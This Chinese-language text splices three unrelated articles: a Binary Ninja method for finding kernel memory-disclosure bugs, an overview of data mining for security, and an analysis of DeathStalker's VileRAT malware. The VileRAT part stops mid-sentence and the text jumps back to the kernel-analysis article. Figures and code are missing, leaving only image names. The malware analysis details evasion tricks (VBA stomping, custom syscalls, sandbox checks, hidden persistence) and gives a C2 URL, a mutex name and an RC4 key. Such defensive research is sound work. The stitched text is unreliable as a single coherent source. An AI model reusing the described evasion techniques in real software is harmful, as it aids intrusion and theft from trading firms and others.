靜態跟踪內存存儲分析的核心思想是使用Binary Ninja的靜態數據流功能跟踪所有內存存儲操作,並在必要時使用Single static Assignment(SSA)形式手動傳播指針。為了跟踪本地函數範圍內的堆棧內存存儲,我們依賴於低級別IL(LLIL),因為中級IL(MLIL)抽象了堆棧訪問,可能會消除一些內存存儲。為了跟踪將地址傳遞給另一個函數的跨函數(inter-procedure)存儲操作,我們依靠MLIL SSA形式傳播指針。用於處理IL指令的訪問者類是基於Josh Watson的emator實現的。

使用LLIL跟踪堆棧內存存儲在LLIL中,任何寫入內存的指令都表示為lil_store操作。它有一個源和目標參數。其思想是線性訪問函數中的每個LLIL指令,並檢查它是否是一個以堆棧幀偏移量為目標的lil_store操作。當一個寫入堆棧的內存存儲被識別出來時,我們將記錄寫入的源偏移量及其大小。一個簡單的8字節內存移動操作和Binary Ninja提供的相應LLIL信息如下:

4.png

freebsd32_sigtimedwait()中的LLIL_STORE操作

StackFrameOffset值是堆棧基數的偏移量,size屬性給出了存儲操作的大小。使用這些信息,就可以知道正在寫入的內存地址是哪個。本示例中正在初始化從堆棧基偏移量是116到109(8字節)的地址。

靜態函數掛鉤和內存寫入API雖然內存存儲指令是初始化內存的一種方法,但經常使用memset()和bzero()這樣的函數來初始化帶有null的內存區域。類似地,諸如memcpy()、memmove()、bcopy()、strncpy()和strlcpy()等函數也用於寫入內存區域。所有這些函數都有一個共同點:都有一個目標內存指針和一個要寫入的大小。如果目標值和大小值已知,則可以知道要寫入的內存區域。考慮bzero()的情況,它用於清除修補後的sys_getcontext()中的堆棧內存:

5.png

使用bzero()清除堆棧內存

通過查詢目標指針和大小參數,可以知道它們各自的值,從而知道目標內存區域。

現在讓我們考慮一下分析器如何處理CALL操作。靜態掛鉤是函數的處理程序,與其他函數相比,我們打算以不同的方式處理這些函數。對於任何具有已知目標(MLIL_CONST_PTR)的CALL指令,將獲取該符號以檢查靜態掛鉤。

一個帶有函數名及其位置參數(目標緩衝區和大小)的JSON配置被提供給分析器用於靜態掛鉤:

copyin()函數特定於BSD內核。它用於使用來自用戶空間的數據初始化內核緩衝區。任何要掛鉤的特定於目標的函數都可以添加到JSON配置中,並根據需要在visit_function_hooks()中處理。

處理x86 REP優化很多時候,編譯器會將內存寫入函數優化為REP指令或一系列存儲操作。雖然由於優化而引入的存儲操作可以像處理任何其他存儲操作一樣,但REP指令需要特殊處理。由於REP的原因,靜態函數掛鉤在檢測內存寫入時並沒有用。那麼,我們如何處理此類優化並避免錯過這些內存寫入?首先,讓我們看看Binary Ninja如何在LLIL或mll中轉換REP指令。

6.png

memcpy()優化為REP指令

7.png

MLIL中的REP指令轉換

REP指令重複字符串操作,直到RCX為0。複製操作的方向取決於方向標誌(DF),因此,一個分支增加源指針(RSI)和目標指針(RDI),另一個分支則減少。一般來說,假設DF為0,並且指針是遞增的,這是相當安全的。

當線性遍歷IL時,轉換後的REP指令看起來與其他指令沒有什麼不同。其思想是檢查GOTO指令,並且對於IL中的每個GOTO指令,在相同的地址獲取反彙編。如果反彙編是REP指令,則獲取目標指針和大小參數,並將內存區域標記為已初始化。

LLIL有一個get_possible_reg_values()API,用於靜態讀取寄存器的值。 MLIL提供了兩個API,get_var_for_reg()和get_ssa_var_version(),用於將體系結構寄存器映射到SSA變量。在缺少RegisterValueType信息(即RegisterValueType.UndeterminedValue)的情況下,使用SSA變量手動傳播值時非常有用。類似的API目前在LLIL中缺失,並作為功能請求進行跟踪,API用於獲取給定LLIL指令中寄存器的SSARegister。

使用MLIL跟踪跨函數(inter-procedure)內存存儲此時,我們可以跟踪內存存儲操作、調用操作(如bzero()、memset()),還可以處理REP優化。下一個任務是跟踪函數調用之間的內存寫入操作,就像調用者將內存地址傳遞給被調用者一樣。有趣的是,一旦堆棧指針被傳遞到另一個函數中,就不能再使用寄存器值類型信息(StackFrameOffset)對其進行跟踪了,就像我們在本地函數範圍內使用LLIL所做的那樣。

為了解決這個問題,我們使用MLIL SSA變量在被調用函數中傳播指針,就像傳播污染信息一樣。每當遇到MLIL_STORE_SSA指令時,只要根據SSA變量的值手動解析內存寫入操作的目標,我們就會記錄寫入操作的偏移量和大小值。下面顯示的set_function_args()函數遍歷MLIL變量並賦值(指針)給調用者:

設置初始SSA變量後,我們就會訪問所有的指令來傳播指針並記錄內存寫入操作。執行此操作時,對指針執行的最常見操作是加法。因此,有必要模擬MLIL_ADD指令來處理指針算術操作。此外,模擬MLIL_SUB、MLIL_LSR和MLIL_AND等指令也很重要,以便在優化的情況下處理某些指針對齊操作。下面是如何解析這些MLIL SSA表達式來記錄內存存儲操作的示例:

將SSA變量rax_43#65視為手動傳播的指針值,可以解析存儲操作的目標以及寫入的大小。但是,當SSA變量rax_43#65的值不可用時,此內存與調用者傳播的指針無關,因此不會被記錄。

處理指針對齊(pointer-aligning)優化在執行跨函數(inter-procedure)分析時,除了REP優化之外,還可以進行進一步的優化,如上面的“處理x86 REP優化”部分所講。在堆棧上分配的變量通常會對齊,以滿足後續操作的需要。假設將堆棧指針傳遞給memset(),編譯器將調用內聯爲REP指令。在這種情況下,很可能將內存分配到一個對齊的地址,以便在REP操作期間使用最快的指令。

然而,當指針被調用者作為參數接收或作為分配器函數的返回值接收時,編譯器則必須生成指針和大小對齊操作碼,這些操作碼可能在到達REP指令之前依賴於分支決策。下面是一個在用於分析的NetBSD內核中常見的優化示例:

8.png

來自NetBSD的memset()優化示例

從靜態分析的角度來看,當涉及到這種分支決策時,指針和大小可以在REP指令點獲得多個可能的值。這與我們在“處理x86 REP優化”一節中觀察到的情況不同,在該節中,指針和大小只有一個可能的值。我們的目標是在沒有指針對齊計算的情況下找到指針的實際值和大小。為了實現這一點,確定了兩個可用於解析原始值的SSA表達式:

1.搜索包含(ADDRESS BYTESIZE)的表達式,這可能是在進行任何條件分支之前首次使用ADDRESS;

2.搜索包含(SIZE 3)的表達式。這是將調整後的大小傳遞給REP指令的地方;

我想從REP指令的角度追溯上述表達式,一個完全依賴SSA,另一個基於dominator:

1.使用get_ssa_var_definition()和get_ssa_ var_uses()API獲取變量的定義位置及其用途。

2.或者,獲取包含REP指令的基本塊的dominator,並訪問dominator塊中的指令。

下面顯示的函數resolve_optimization()使用dominator獲取執行搜索操作的基本塊。由於指針是由調用者手動傳遞的,因此值是從SSA變量中獲取的。

對於可能的常量值,我們從可用值列表中獲取最大值。一旦指針和最大值都可用,我們就記錄內存區域初始化時的日誌。

僅在2021 年,人類就創建、複製和使用了大約74 澤字節(萬億千兆字節)的數據。看起來我們擁有所需的所有數據,但實際上每年都越來越難找到相關信息。幸運的是,數據挖掘等技術可以幫助我們恢復數據的秩序,並利用它來提高我們的網絡安全。

使用數據挖掘技術分析您的數據庫和安全日誌可以幫助您改進對惡意軟件、系統和網絡入侵、內部攻擊以及許多其他安全威脅的檢測。有些技術甚至可以準確預測攻擊並檢測零日威脅。

在本文中,我們研究了關鍵數據挖掘技術以及網絡和端點安全中數據挖掘的五個用例。這篇文章對於開發網絡安全軟件並希望提高其威脅檢測能力的團隊很有用。

網絡安全中的數據挖掘:過程、優點和缺點什麼是數據挖掘?數據挖掘是分析信息、發現新模式和數據以及預測未來趨勢的過程。它經常用於科學研究、業務開發、客戶關係和其他領域。

雖然術語數據挖掘通常被視為數據庫中知識發現(KDD) 的同義詞,但它實際上只是KDD 過程中的步驟之一。 KDD 的主要目標是從大量數據中獲取有用且通常是以前未知的信息。整個KDD流程包括四個步驟:

image.png

數據庫中知識發現的4 個步驟

KDD 廣泛應用於任何可以從海量數據分析中獲益的領域:科學研究、商業分析、營銷研究等。它還被網絡犯罪分子用來尋找新的攻擊方式,並被網絡安全專業人員用來檢測和阻止這些新的攻擊。

結合數據挖掘和網絡安全可以確定網絡攻擊的特徵並改進攻擊檢測過程。為了獲得有價值的知識,數據挖掘使用了來自統計學、機器學習(ML)、人工智能(AI) 和數據庫系統的方法。

數據挖掘可幫助您快速分析龐大的數據集並自動發現隱藏的模式,這對於創建能夠檢測以前未知威脅的有效反惡意軟件解決方案至關重要。但是,使用數據挖掘方法的最終結果始終取決於您使用的數據質量。

依靠數據挖掘來改進保護有其自身的優點和缺點。讓我們來看看它們:

image.png

這些是出於網絡安全目的而挖掘數據的一般利弊。除此之外,每種數據挖掘技術都有自己的優勢、局限性和特定的用例。讓我們來看看網絡安全的六種關鍵數據挖掘方法。

6 大關鍵數據挖掘技術您可以使用預測或描述技術來挖掘數據庫。說明性技術根據過去的事件進行預測,而描述性技術側重於對現有數據庫的分析和構建。

讓我們來看看網絡安全的六種關鍵數據挖掘技術:

image.png

挖掘網絡安全數據的技術

分類此技術通過將大型數據集分解為預定義的類、概念和變量組來創建數據庫模型。您還可以使用它來分析構建模型後添加到數據庫中的變量,並為它們分配相應的類。為了實現準確的實時分類,您需要非常注意算法的監督訓練以及測試其工作原理。在網絡安全中,分類通常用於檢測垃圾郵件和網絡釣魚電子郵件。

回歸分析這些算法根據數據集中其他變量的已知平均值來預測一個變量的變化值。使用此技術,您可以在數據庫中建立因變量和自變量之間的關係模型。分析變量的變化並將這些變化與因變量進行比較可以幫助您確定變化的原因以及一個變量對另一個變量的影響。回歸分析廣泛用於預測趨勢和事件,包括可能的網絡攻擊。

時間序列分析這些算法通過分析數據庫中任何數據條目更改的時間來發現和預測基於時間的模式。這種技術對於通過挖掘多年數據庫來深入了解各種週期性活動特別有用。您可以依靠時間序列分析來預測在特定事件、季節甚至一天中的某個時間發生的安全漏洞和攻擊。

關聯規則分析這是最廣泛的數據挖掘算法之一。關聯規則分析可以幫助您發現數據庫中頻繁一起出現的變量之間可能存在的關係,並發現隱藏的模式。您可以應用此技術來分析和預測用戶行為、檢查網絡流量以及定義網絡攻擊模式。安全人員經常使用關聯規則分析來研究攻擊者的行為和思維方式。

聚類聚類有助於識別具有共同特徵的數據項並了解變量的異同。它類似於分類,但聚類不能實時對變量進行排序。此技術只能幫助您構建和分析現有數據庫。與分類相比,聚類允許在模型中進行更改並創建子集群,而無需重新設計所有算法。

總結這種數據挖掘技術側重於編譯數據集、類和集群的簡要描述。摘要可以幫助您更好地了解數據集的內容和數據挖掘過程的結果,因為它可以掌握數據的本質並消除手動挖掘數據的需要。在網絡安全解決方案中,匯總主要用於生成報告和可視化日誌。

請記住,這些數據挖掘技術中的每一種都可以通過ML 和AI 算法得到增強。這些尖端技術可以幫助您發現更多隱藏的模式並提高預測的準確性。然而,將ML 和AI 添加到網絡安全解決方案中肯定會增加其開發和維護的複雜性。

接下來,我們將仔細研究特定用例,展示如何將數據挖掘用於網絡安全解決方案。

網絡安全中的數據挖掘用例您可以將數據挖掘應用於任何數據庫,並根據您想要實現的任何目標對其進行調整。在網絡安全領域,挖掘算法通常有助於發現可能表明安全事件的異常數據記錄和事件。

以下是數據挖掘在計算機安全領域最常見的五種應用:

image.png

1.惡意軟件檢測在構建安全軟件時,開發人員使用數據挖掘方法來提高惡意軟件檢測的速度和質量,以及檢測零日攻擊。

檢測惡意軟件的策略有以下三種:

image.png

惡意軟件檢測策略

異常檢測涉及對系統或網絡的正常行為進行建模,以識別與正常活動模式的偏差。基於異常的技術甚至可以檢測到以前未知的攻擊,並可用於定義濫用檢測器的簽名。

但是,異常檢測甚至可以報告偏離規範的合法活動,從而產生誤報。

誤用檢測,也稱為基於簽名的檢測,僅根據簽名示例識別已知攻擊。這種技術的誤報率較低,但無法檢測到零日攻擊。

混合方法結合了異常和濫用檢測技術,以增加檢測到的入侵數量,同時減少誤報數量。混合檢測算法不構建任何模型。相反,他們使用來自惡意軟件和合法程序的信息來創建分類器,這是一組規則或由數據挖掘算法生成的檢測模型。然後系統的異常檢測部分搜索與正常配置文件的偏差,系統的誤用檢測部分查找代碼中的惡意軟件簽名。

無論您選擇哪種策略,惡意軟件檢測系統的開發都包括兩個步驟:image.png

惡意軟件檢測過程

首先,數據挖掘算法從API 調用、n-gram、二進製字符串、程序行為和其他事件的記錄中提取惡意軟件特徵。您可以應用靜態、動態或混合分析來從可能不安全的文件中提取惡意軟件特徵。

在分類聚類的過程中,可以使用相應的技術,根據特徵分析對文件樣本進行分組。此時,您需要使用RIPPER、決策樹、人工神經網絡、樸素貝葉斯或支持向量機等分類算法構建分類器。

使用ML 技術,每個分類算法都會構建一個模型來表示良性和惡意類。使用此類文件樣本集合訓練分類器使您甚至可以檢測新發布的惡意軟件。

2.入侵檢測攻擊者可以通過組織的網絡、數據庫、服務器、Web 客戶端和操作系統執行惡意入侵。使用數據挖掘技術,您可以分析審計結果並識別異常模式。因此,您可以檢測入侵、網絡和系統掃描、拒絕服務和滲透攻擊。

數據挖掘方法對於檢測這些類型的入侵特別有效:

image.png

通過數據挖掘檢測入侵

要檢測基於主機的攻擊,您的網絡安全軟件需要分析從程序中提取的特徵。檢測基於網絡的攻擊需要這樣的解決方案來分析網絡流量。與惡意軟件檢測一樣,您可以查找異常行為或濫用案例。

入侵檢測系統通常基於分類、聚類和關聯規則技術。這些技術允許從數據庫中提取攻擊特徵,將它們系統化,並標記任何具有相同特徵的新記錄。您可以在此處使用的一些算法包括回歸和決策樹、貝葉斯網絡、k 最近鄰、學習自動機和層次聚類。

您還可以向入侵檢測系統添加預測功能。分類和時間序列分析等技術可以計算未來入侵的可能性。使用AI 算法可以更輕鬆地檢測隱藏的或以前未知的可疑活動。

3.欺詐檢測檢測欺詐具有挑戰性,因為欺詐活動通常很隱蔽,而且網絡犯罪分子不斷發明新的欺詐模式。

利用機器學習的數據挖掘技術可以發現多種類型的欺詐行為,從金融欺詐到電信欺詐和計算機入侵。 ML 對於欺詐檢測特別有用,因為它可以:

擴展以考慮數據庫數量和復雜性的變化

學習檢測和預測新型欺詐

準確計算欺詐活動的概率

您可以使用監督和非監督ML 算法來檢測欺詐。

通過監督學習,所有可用記錄都被歸類為欺詐或非欺詐。然後使用此分類來訓練模型以檢測可能的欺詐行為。這種方法的主要缺點是無法檢測新型攻擊。

無監督學習方法從未標記的記錄中學習欺詐模式。他們為欺詐活動創建自己的分類和特徵描述。無監督學習有助於在不使用統計分析的情況下識別數據中的隱私和安全問題。它還能夠分析和檢測新型欺詐。

4.威脅情報收集有關網絡安全威脅的證據通常分散在組織的網絡中。這些記錄可用於形成訓練數據集、構建挖掘模型並提高預測準確性。但挑戰在於在數TB 的記錄中找到相關數據。

數據挖掘算法有助於發現此類隱藏數據並將其轉換為結構化的威脅情報數據庫。您可以使用聚類、關聯規則和匯總技術來發現這些類型的智能:

image.png

安全威脅情報的類型

數據挖掘通常僅用於威脅情報的第一階段:發現和構建數據。之後,網絡安全專家必須手動審查發現的數據並決定如何對其採取行動。但是,您也可以使用數據挖掘技術構建一個基於機器學習的框架來收集和處理數據。

5. 內部威脅檢測與預測內部威脅是可能對組織造成傷害的合法用戶的活動。檢測內部威脅活動通常是一項棘手的任務,因為這些行為通常看起來與普通用戶活動相似,或者它們可以被故意隱藏在威脅檢測機制之外。

由於大數據算法可以檢測機器和人類用戶的異常行為,因此它們被廣泛用於檢測和預測內部威脅。與入侵檢測系統類似,內部威脅檢測系統基於識別合法和威脅行為的特徵。

有多種基於機器學習的分類和聚類算法,包括有監督和無監督的,有助於檢測內部威脅。此外,您可以根據數據挖掘原理訓練深度神經網絡,以檢查網絡安全日誌並實時檢測可能的內部活動。

結論可靠、相關且結構良好的數據是幾乎所有網絡安全解決方案的基礎。雖然組織每天都會生成大量數據,但手動收集和處理所有這些數據以應對網絡安全威脅是不可能的。

數據挖掘技術可以幫助您識別任何惡意活動的特徵,甚至可以預測可能的攻擊。它們在收集威脅情報和檢測惡意軟件、入侵、欺詐和內部攻擊方面特別有效。通過數據挖掘增強保護的主要好處是能夠識別已知攻擊和零日攻擊。

vilerat_featured-1200x600.jpg

早在2020年8月下旬,就有研究人員發布了DeathStalker的活動報告,包括Janicab、Evilnum和PowerSing活動。同時,在2020年8月,研究人員還首次發布了一份關於VileRAT的私人報告。 VileRAT是一種Python植入程序,是專門針對外彙和加密貨幣交易公司一種高度複雜的攻擊活動,其幕後攻擊者就是DeathStalker。

自2020年6月首次被發現以來,DeathStalker確實不斷利用和更新其VileRAT工具鏈來對付相同類型的目標。而且DeathStalker最近可能會加大力度使用此工具鏈來破壞目標。自2022年3月以來,研究人員已經識別出更多與VileRAT相關的惡意文件和新基礎設施的示例,這可能是攻擊嘗試增加的徵兆。

VileRAT的初始攻擊和工具集介紹早在2020年夏天,DeathStalker的VileRAT的攻擊就包括發送給外匯公司的魚叉式網絡釣魚電子郵件。如果目標上鉤,假冒的角色會在某個時候根據請求提供指向託管在GoogleDrive上的惡意文件的鏈接(偽裝成PDF或ZIP存檔的Windows快捷方式文件),作為身份證明文件,然後,惡意鏈接將觸發任意系統命令的執行,以釋放無害的誘餌文檔,以及我們稱為VileLoader的惡意且非常複雜的二進制加載程序。

至少從2021年末開始,攻擊技術略有變化,但最初的攻擊媒介仍然是惡意消息:通過電子郵件向目標發送Word文檔。 2022年7月,攻擊者利用嵌入在目標公司公共網站中的聊天木馬向目標發送惡意DOCX。

1.png

惡意DOCX的釣魚消息

DOCX文檔經常使用“合規性”或“投訴”關鍵字來命名,這表明攻擊者正在回答識別請求或表達某個問題作為發送它們的理由。

至少從2021年底開始,最初的攻擊和工具集部署如下圖所示。

2.png

VileRAT攻擊和工具集概述

秘密執行VileDropper最初的DOCX攻擊文檔本身是無害的,但它包含指向另一個惡意和啟用宏的DOTM文檔的鏈接作為“遠程模板”。打開DOCX時,Word會自動下載這些DOTM文件,如果收件人啟用了執行,則會觸發其嵌入的宏。

3.png

DOCX中包含的惡意遠程模板

惡意DOTM遠程模板利用VBAstomping技術來隱藏嵌入式宏的代碼。 VBAstomping使可編輯的VBA源代碼(即宏的可見代碼)不同與實際執行的代碼。這是可能的,因為可編輯源代碼和被稱為p-code的經過轉換的內部版本都嵌入在啟用宏的文檔中。由於使用了VBAstomping,將要執行的真正宏代碼對標準工具(MicrosoftWord的宏編輯工具以及OLETools)是隱藏的。

這種技術有一個嚴重的限制:隱藏的宏(即內部p代碼)只有在啟用宏的文檔使用生成它的相同Office版本打開時才能執行。否則,隱藏的宏將無法運行,而將執行可見的宏。在最後一種情況下,DeathStalker確保它會向用戶彈出一條消息。但最重要的是,DeathStalker確保將多個攻擊文檔變體傳播給目標,每個變體都針對特定的Office版本進行準備。

4.jpg

惡意DOTM遠程模板中的VBAstomping失敗

在任何情況下,可見和隱藏的宏都會下載一張圖片來取代感染文檔中的社會工程消息,並欺騙讀者相信某些事情失敗了。

5.png

執行宏時下載的圖像示例

然而,在後台,如果VBAstomping有效,嵌入DOTM的宏會使用WMI靜默收集有關安裝在目標計算機上的安全產品的信息,將它們發送到命令和控制(C2)服務器,解碼並釋放文件,然後最終執行我們稱為VileDropper的惡意混淆JavaScript(JS)後門。

嵌入DOTM的宏本身已經揭示了一些有趣且具體的技術。它被輕微混淆,因為大多數文本字符串都是XOR編碼的,其密碼源自一個句子,例如,“OperatesCatholicsmalltownspueblosTwoof”。

6.png

DOTM嵌入宏中的XOR解碼函數

XOR解碼算法看起來非常接近過去在PowerPepper工具鏈的VBS加載程序腳本中使用的算法,而且看起來合法的函數名也讓人想起PowerPepper宏中使用的函數名,例如'insert_table_of_figures','change_highlight_color'等。

7.png

PowerPepperVBS加載程序中的XOR解碼函數(MD5DB6D1F6AB887383782E4E3D6E4AACDD0)

嵌入DOTM的宏從編碼數據中解碼並刪除兩個文件(在“%APPDATA%”文件夾中:“Redist.txt”和“ThirdPartyNotice.txt”,或“pattern.txt”和“changelog.txt”)存儲在不可見的TextBox表單中。利用Office對象屬性作為隱藏數據源也是之前採用的技術。

8.png

用作惡意DOTM文檔中數據存儲的TextBox表單,如Microsoft的VBA編輯器所示

另一個值得注意的特性是,嵌入DOTM的宏通過向固定的C2URL發送HTTPGET請求來指示執行過程中的進展或錯誤。有趣的是,VBA宏中的所有HTTP請求都是使用遠程圖片插入函數觸發的。

9.png

嵌入DOTM的宏利用“AddPicture”作為Web客戶端

在任何情況下,嵌入DOTM的宏最終都會觸發VileDropper的執行,使用“WScript”解釋器的重命名副本(“%APPDATA%”文件夾中的“msdcat.exe”或“msgmft.exe”),使用如下命令作為:

10.png

“changelog.txt”是VileDropper,“91”是VileDropper用來解碼異或數據的密碼的一部分,“pattern.txt”是一個包含VileLoader的編碼包。

VileDropper:一個過度混淆的任務調度器在DeathStalker錯綜複雜的VileRAT攻擊鏈中還有一個VileDropper。它是一個混淆的JavaScript文件,主要釋放和調度下一階段的執行:VileLoader。

11.png

VileDropper代碼的原始形式

第一次運行VileDropper至少需要兩個參數,第三個參數可以用作觸發特定環境執行變化的標誌,具體取決於安裝在目標計算機上的安全產品:

第一個是部分密碼(用於解碼XOR編碼的數據),第二個是一個編碼的有效負載文件的路徑(包含VileLoader及其配套的shellcode)。

VileDropper還會檢查它的解釋器和文件名,如果它沒有按計劃調用,則立即停止執行,這可能是為了規避沙箱檢測:

12.png

VileDropper中的反混淆執行檢查

VileDropper的確切執行流程取決於目標計算機上安裝的安全產品,但大多數時候,它將自己複製到另一個文件,重新啟動自己,並刪除其原始副本。在執行VileDropper期間:

1.收集有關目標環境的附加數據(使用WMI)以及生成目標標識符並將它們發送到C2服務器;

2.解碼並釋放VileLoader及其編碼的結果shellcode。文件名和位置會因示例而異,但他們被放在一個看似合法的公共文件夾“%APPDATA%”(例如,“exe”和“dev0Y11ZF.tmp”在“%APPDATA%\Microsoft\PrinterSettings\Printers\”)下。

3.安排一個任務在35到65秒後運行VileLoader,之後每3小時45分鐘運行一次。

使用預設的User-Agent(C2的URL和User-Agent的變化取決於VileDropper的示例),VileDropper使用一個HTTPGET請求將數據發送到C2服務器到一個固定的URL(例如,“hxxp://hubflash[.]co/admin/auth.php”)。有用的信息被存儲為一個JSON項,然後該文檔被xor編碼、base64編碼、url編碼,並被設置為HTTP請求中的cookie值:

JSON 項和內容(JSON 值)如下:

1.u,目標標識符:標識符是目標登錄(%USERNAME% 環境變量)和計算機UUID(在WMI 查詢的第一個結果中獲得的類似UUID 的自定義表示形式:SELECT UUID FROM Win32_ComputerSystemProduct)。然後這個類似UUID 的值是base64 編碼和URL 編碼的。由於標識符生成邏輯的固定長度和填充,標識符的最終形式總是48 個字符長。

2.d,一個硬編碼的VileDropper 標識符,它可能指定一個活動或版本(例如,“9745B355”)。

3.a,安裝在目標計算機上的安全產品(WMI 中的AntiVirusProduct)名稱列表,以豎線符號(|) 分隔,然後是XORed、base64 編碼和URL 編碼。

4.n,目標的完全限定登錄,作為“%USERDOMAIN%\%USERNAME%”的shell擴展,然後進行異或、base64 編碼和URL 編碼。

5.w ,目標的操作系統版本,從WMI 查詢SELECT Version FROM Win32_OperatingSystem 返回,然後是base64 編碼和URL 編碼。

由VileDropper調度的任務(其名稱因樣例而異,如“CDS同步”或“UpdateModel任務”)會觸發以下類型的執行命令:

14.png

命令行中方括號之間的字符(例如[u])指定相應JSON項的內容,即[u]是編碼的目標標識符。

在繼續討論VileLoader之前,請注意VileDropper使用XOR編碼方案來保護髮送到C2服務器的數據,因為類似的方案將在以後使用。該算法生成的數據塊佈局如下,有時還會進一步進行base64編碼和URL編碼:

類型一:

15.png

生成的blob是自給自足的,並且可以由接收者解碼,而無需訪問預共享密鑰。在VileDropper中,作為JavaScript混淆的一部分編碼的字符串受益於額外的異或:嵌入數據blob中的異或密鑰還使用特定於腳本的固定密碼進行了異或,此固定密碼的一部分被傳遞給VileDropper在攻擊鏈中的前一個DOTM宏執行的命令行上,另一部分在VileDropper中硬編碼。

後來,VileLoader和VileRAT使用該算法的其他變體。

類型二:

16.png

類型三:

17.png

類型四:

18.png

VileLoader:一個多階段植入程序下載器VileLoader它自2020年第2季度就被公佈,首次公開記錄為dddp.exe,但此後一直在不斷更新和維護,並且在撰寫本文時仍然部署在VileDropper上。 VileLoader的主要目標是從C2服務器下載並執行額外的有效負載。雖然我們只觀察到它觸發了VileRAT的執行,但加載程序在技術上可以下載並執行其他植入程序。

最近的VileLoader示例是由一個二進制可執行文件(第1階段)和一個編碼的配套shellcode文件(第2階段)組成。以前的VileLoader示例通常將shellcode直接嵌入到二進制可執行文件中,並將呈現為單個整體文件。

第1階段:修改二進制解包器VileLoader最初是作為二進制可執行文件呈現的,它確保第1階段執行。這個二進製文件始終是合法的,被攻擊者精心修改以集成惡意解包器類型的有效負載。因此,從快速自動靜態代碼分析的角度來看,二進製文件可能看起來是合法的,它包含合法應用程序的所有代碼,但不會按預期工作。這個“解包器”階段旨在解碼、加載和執行內存中的第2階段。

VileLoader的工作流程從等待17秒開始。然後它解析命令行參數。命令行必須至少包含五個參數,否則VileLoader會終止執行。在實踐中,VileDropper通常會向VileLoader提供七個參數,正如我們之前所描述的。 VileLoader然後打開其編碼的附帶的shellcode文件。其名稱作為第二個參數傳遞給VileLoader,例如,“devENX1C6SS.tmp”,使用第二個類型的XOR算法讀取並解碼它,將去混淆數據映射到一個區域中讀取、寫入和執行(RWX)權限,並通過啟動新線程來運行下一階段(第2階段)。

VileLoader的第1階段包含非常獨特的“簽名”技術,自我們在2020年第二季度分析的第一個示例以來一直很穩定:

利用“Sleep”和“GetTickCount”Windows API函數來生成隨機的等待延遲。這些函數以一種不尋常的方式解析:通過從當前二進制映像的開頭引用硬編碼偏移量,這些偏移量直接指向合法可執行文件的導入地址表(IAT)中的條目;

VileLoader的編碼附帶的shellcode文件的解包和加載利用了多個自定義系統調用,這些調用類似於針對不同Windows版本的低級WindowsAPI函數(NTDLL):NtOpenFile、NtReadFile、NtAllocateVirtualMemory、NtCreateThreadEx和NtWaitForSingleObject。

19.png

VileLoader的第1階段自定義系統調用

然而,雖然舊示例通過解析和調用專用WindowsAPI函數(例如“GetCommandLineW”)來解析命令行參數,但最近的示例直接從它們自己的PEB(進程環境塊)結構中讀取此信息。這樣做可能是為了更好地繞過對某些安全解決方案的檢測。

第2階段:內存下載器第2階段的內容從VileLoader的編碼附帶的shellcode文件中提取,並由VileLoader的第1階段在內存中的新線程中運行。從數據的角度來看,第2階段的shellcode是一個PE二進製文件,它的標頭被去掉並嵌入了額外的編碼數據。

第2階段首先從其本身的內容中解碼(使用第三類XOR算法)所需的數據。一些數據被解碼為使用djb2算法生成的哈希值。這些哈希值反過來用於通過自定義IAT解析所需的函數導入:加載所需的庫,解析它們的導出表,使用djb2對導出的函數名稱進行哈希,並將哈希值與從內部數據解碼的哈希值進行比較。第2階段繼續創建一個互斥鎖,其名稱自2020年第二季度以來沒變過,與VileRAT中的相同(“Global\wU3aqu1t2y8uN”)。

最後,VileLoader的第2階段構建一個HTTPGET請求,用於下載植入程序包。在較早的VileLoader示例中,下載器使用瞭如下所示的一個靜態URL:

20.png

唯一的規避嘗試是在四個固定列表中隨機選擇一個HTTPUser-Agent標頭值。 VileLoader使用目標系統的正常運行時間作為“隨機性”的來源。在最近的示例中,開發人員試圖改進這些規避技術,HTTP請求現在看起來如下所示:

21.png

現在,所有以紅色著色的值都是從從第2階段內容解碼的硬編碼列表中隨機選擇的(使用C類XOR算法)。加密的blob(cookie值)最初是一個JSON字典,使用RC4算法加密(使用密鑰“BDDE96D29C68EE064964D1E58A860512B09A50004EF2E4925C76ABFC9023DFC6”,從第2階段內容解碼)、異或(使用B型異或算法)、base64編碼和URL編碼。實際的JSON內容與VileDropper發送到C2服務器的內容非常相似:

22.png

然後,C2服務器在HTTP響應正文中進行了響應,並使用以下其中一個指令:

什麼都不做:答案是四個空字節;

植入包:答案是要解析的編碼植入包(見下文);

發送截圖:答案是一個值為“1”的字節,後面是三個空字節;

在較早的版本中,VileLoader的第2階段並沒有嵌入截圖功能,但是VileRAT實現了截圖功能。

如果C2服務器使用植入程序包進行應答,它會發送一個第四類的異或blob。生成的數據使用LZMA1算法進一步解壓縮,並包含一個或多個帶有以下附加元數據的“文件”:

一個CSIDL值,表示必須將文件釋放的根文件夾(使用“SHGetFolderPathW”WindowsAPI函數解析);

子目錄名稱;

一個文件名;

如果要安排文件執行,則為任務名稱;

如果要執行文件,則為命令行參數。

如果在C2服務器響應數據中設置了特定標誌,VileLoader會為最後放置的文件創建一個Windows計劃任務以設置其持久性。該任務是使用ITaskService接口創建的。最後一個被刪除的文件也會使用“CreateProcessW”Windows API函數立即

跟踪動態內存分配中的內存存儲到目前為止,我們的所有分析都集中在堆棧內存作為信息披露的源緩衝區。這在很大程度上是由於堆棧內存洩漏錯誤的盛行,如KLEAK:實用內核內存洩漏檢測(PDF)中所述。其他內存區域(如堆)呢?我們可以對一些堆內存洩漏建模嗎?

在查找堆內存洩漏時,思路也是一樣的。我們仍在尋找調用具有已知大小值的sink函數。但源指針不是RegisterValueType.StackFrameOffset,我們檢查RegisterValueType.UndeterminedValue。考慮sys_statfs()的代碼:

9.png

sys_statfs()中的動態內存分配

此時copyout()中的內核指針rdi_1#2還是不確定,因為Binary Ninja並不知道分配器函數返回什麼。然而,通過使用SSA表單,我們可以手動跟踪rdi_1#2是否保存malloc()的返回值。例如,按上圖中突出顯示的說明進行操作。變量被分配為rax_1#1-r15#1-rdi_1#2。可以使用MLIL get_ssa_var_definition()API通過編程方式獲取此信息。一旦獲得SSA變量的定義位置,我們就可以使用CALL操作檢查變量是否被初始化。

那分析器如何知道分配器函數的定義?我們可以採用與提供靜態函數掛鉤信息相同的方法(請參閱上面的“靜態函數掛鉤和內存編寫API”一節)。向分析器提供一個帶有分配器函數列表和大小參數索引的JSON配置。對於任何具有已知目標(即MLIL_CONST_PTR)的CALL指令,獲取該符號以檢查已知的分配器函數。下面是一個用於分析的JSON配置示例:

